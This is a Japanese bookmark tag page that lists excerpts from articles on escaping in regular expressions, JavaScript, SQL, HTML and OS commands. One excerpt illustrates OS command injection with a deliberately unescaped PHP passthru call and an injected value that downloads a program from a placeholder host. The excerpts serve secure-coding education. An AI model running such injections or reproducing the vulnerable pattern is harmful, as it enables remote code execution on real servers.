タグ

エスケープに関するsatopianのブックマーク (8)

  • 正規表現:エスケープが必要な文字一覧 | WWWクリエイターズ

    2デリミタと同じ文字はエスケープが必要 正規表現パターン記述の中で、デリミタとの混同を避けるため、デリミタに利用した文字と同じ文字が出現するのであれば、それらはエスケープする必要があります。 Vimや、PHPPCRE正規表現)などの多くのプログラミング言語においては、正規表現パターンは、そのパターンの開始と終了を同一の任意の文字で囲むことになっています。これらの囲み文字を「デリミタ(delimiter)」と呼ばれます。 デリミタにはどんな文字を使っても構いませんが、一般的にスラッシュ「/」がよく用いられます。(Javascriptでは、リテラルによる宣言(例:var ptn = /pattern/)によるデリミタは「/」のみ認めらています。) //「/」がデリミタなので、パターン中ではエスケープする $ptn = '/https:\/\/www-creators.com\/archive

  • JavaScriptのレガシー挙動を定めたAnnex Bをひたすら読む記事

    ECMAScript Annex Bおよび関連する仕様を読みます。 おことわり 言うまでもありませんが、ここで説明されている機能は使わないようにしましょう。 筆者がJavaScriptを書き始めたのは2005年頃で、その後2010年代は実質的な空白期間でした。そのため記事に含まれる歴史的背景の説明は、2005年頃の筆者が学んだ内容に加えて、当時の資料を遡って調査した結果に基づいて記載されています。できる限り信頼性の高い情報を見つけた上で記述するよう心がけましたが、当時常識だった知識の欠落等により不正確な記述になっている部分があるかもしれません。もし誤り等があったら指摘いただけると嬉しいです。 現在のzennでは <sub></sub> や <ins></ins> は描画されていませんが、心の目で下付き文字や下線装飾に読み替えてください。 ECMAScript Annex B とは ECM

    JavaScriptのレガシー挙動を定めたAnnex Bをひたすら読む記事
  • パラメータをエスケープする - SQLiteへの接続 - PHP入門

    SQL文中で使われている値が固定の値として記述している場合は問題無いですが、例えばフォームなどから条件を入力してもらってSQL文を作成する時に、SQLインジェクション攻撃などを防ぐ為にパラメータをエスケープしておく必要があります。 SQLiteの場合には「sqlite_escape_string」関数を使います。 sqlite_escape_string() は、 item で指定した文字列を SQLite SQLステートメ ントで使用できるように正しくクオートします。 この際、シングルクオート(') は2重にされ、 クエリ文字列のバイナリセーフでない文字がチェックされます。 引数: item エスケープするテキスト文字列。 返り値: エスケープされたデータを文字列で返します。 具体的には例えばINSERTする値にシングルクォーテーション(')などが含まれていた場合SQL文がおかしくなって

    satopian
    satopian 2023/01/15
    “sqlite_escape_string”
  • javascript 文字実体参照をそのままhtml上に表示する

    文字実体参照をそのままhtml上に表示 文字実体参照(エンティティ参照)をそのままhtml上に表示するには、「textContent」を使用します。 <h1 id="bar"></h1> <script> 'use strict'; document.getElementById("hoge").textContent = '&lt;&gt;&amp;&quot;&#39;' </script> 実行結果を確認すると、文字実体参照のまま表示されていることが確認できます。 「innerHTML」だと「特殊文字」のまま表示されます。 document.getElementById("hoge").innerHTML= '&lt;&gt;&amp;&quot;&#39;' 実行結果 また、以下のコードを、 document.getElementById("hoge").textContent =

    javascript 文字実体参照をそのままhtml上に表示する
  • OSコマンドのエスケープ – シェルの仕様とコマンドの実装

    (Last Updated On: 2018年8月16日)OSコマンドのエスケープの続きです。OSコマンドインジェクションを防ぐための、OSコマンドのエスケープはSQLのエスケープに比べるとかなり難しいです。 難しくなる理由は多くの不定となる条件に依存する事にあります。 OSコマンドを実行するシェルはシステムによって異なる シェルはプログラミング言語+複雑なエスケープ仕様を持っている(コマンド以後はクオートなしでも文字リテラルのパラメーター+各種展開処理) WebアプリはCGIインターフェースで動作するため環境変数にインジェクションできる コマンドパラメーターの取り扱いはコマンド次第である 実行されるコマンドの実装により、間接インジェクションが可能になる SQLの場合、出力先のシステムは一定です。PostgreSQL用にエスケープした文字列をMySQLで実行したり、MySQL用にエスケープ

    OSコマンドのエスケープ – シェルの仕様とコマンドの実装
  • OSコマンドのエスケープ

    (Last Updated On: 2022年7月25日)プログラムからOSコマンドを実行する場合、エスケープ処理を行わないと任意コマンドが実行される危険性があります。 今回はOSコマンドのエスケープについてです。 OSコマンドインジェクション OSコマンドインジェクションはプログラムから実行するコマンドに、攻撃用文字列を挿入(インジェクション)して意図しないコマンドを実行させる攻撃です。 例えば、次のようなLinuxシステムのディレクトリの内容を表示させるプログラム <?php passthru('ls -l '.$_GET['dir']); (任意のディレクトリ内容を表示できる脆弱性はここでは考慮しない) に不正なコマンドを実行させるのはとても簡単です。$_GET[‘dir’]に . ; cd /tmp; wget http://example.com/evil_program; ch

    OSコマンドのエスケープ
  • 第21回 文字エンコーディングとセキュリティ(3) | gihyo.jp

    前回に引き続き、今回も文字エンコーディングとセキュリティをテーマに解説します。前回は壊れた文字エンコーディングを利用した攻撃、文字エンコーディングを誤認識させる攻撃を紹介しました。今回はSJIS特定の問題を簡単に紹介します。 文字エンコーディングのエスケープ方式を利用する方法 ほとんどの文字エンコーディングは、マルチバイト文字の中に“⁠\⁠”などの特殊文字を含みません。しかし、例外があります。Shift_JISでは“⁠\⁠”がマルチバイト文字に含まれるので、これが原因で脆弱性が発生する場合あります。 SJISの“⁠表” <?php echo rawurlencode(mb_convert_encoding('表', 'SJIS', 'UTF-8')); ?> 出力 %95%5C “%5C⁠”は“⁠\⁠”です。“⁠\⁠”は文字列のエスケープなどに利用される特殊文字です。addslashes関

    第21回 文字エンコーディングとセキュリティ(3) | gihyo.jp
  • 【PHP関連】「&」(アンパサンド)をエスケープしなければならない実例 - WEBプログラミング NOW!

    ここ最近、htmlspecialchars関数について調べていて、いろいろ記事にしていたのですが、コメントをいただいた。参照となるページを教えていただいたのですが、実はそのページは、この記事を書く前に既に読んでいました。コメントに書かれていたページのURLをここに記させていただくと、 ●「サニタイズ言うなキャンペーン」私の解釈(2006/11/29) http://kmaebashi.com/zakki/zakki0042.html です。で、私の文章の書き方が悪かったのかもしれませんが、私はこの方の解釈とほぼ一緒(のつもり)です。ただ、このページで例として挙げられている「Taro&Jiro's castle サウスポール」の「&」は別に「&amp;」とエスケープしなくても「Taro&Jiro's castle サウスポール」と表示されます。 そのため、そもそも「&」を「&amp;」とエス

    【PHP関連】「&」(アンパサンド)をエスケープしなければならない実例 - WEBプログラミング NOW!
  • 1